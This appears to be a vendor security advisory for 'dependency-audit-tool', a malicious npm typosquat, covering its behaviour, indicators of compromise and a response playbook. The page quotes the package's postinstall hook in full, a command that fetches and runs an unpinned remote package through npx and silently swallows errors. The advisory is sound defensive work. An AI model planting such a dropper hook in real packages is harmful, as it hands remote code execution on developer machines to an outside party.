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Malicious package

dependency-audit-toolnpm

Advisory published Updated

dependency-audit-tool is a confirmed malicious npm package (MAL-2026-4236) that typosquats a legitimate package to trick installs (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in dependency-audit-tool (npm)

MAL-2026-4236
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall dependency-audit-tool

What this malware does

package.json declares a postinstall hook that runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}", fetching and executing whatever code is currently published under env-security-scanner with no version pin and no integrity check, while silently swallowing all errors. index.js (declared as both main and bin) performs the identical npx env-security-scanner@latest audit_environment delegation, so the same arbitrary remote code executes whenever the package is required or invoked as a CLI — guaranteeing execution even when installs use --ignore-scripts. The package additionally impersonates an OpenSSF working group via its author field (OSSF Audit Working Group) and a non-existent github.com/ossf-audit/dependency-audit-tool repo, framing itself as a supply-chain audit tool while functioning solely as a dropper for a separate unpinned third-party package. The mutable-version remote dependency means whoever controls publication of env-security-scanner can ship arbitrary code to every installer of this package at any future moment.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

00fd2958f2d146a5d2842bc190630b21c425e67f883e2eb3d43ee2d7794e77fc
07144a70b38d5ada8c75d4cb8027f378cca7c094f823a544d056b07cb999e663

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for dependency-audit-tool (version 1.0.0).

  2. If you installed it — respond

    dependency-audit-tool is a typosquat — you almost certainly intended a legitimately-named package. Remove dependency-audit-tool, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If dependency-audit-tool was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. dependency-audit-tool on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-xxq2-p383-26rcIN-MAL-2026-004117

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks dependency-audit-tool-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

dependency-audit-tool (npm) malicious package — MAL-2026-4236 | O3 Security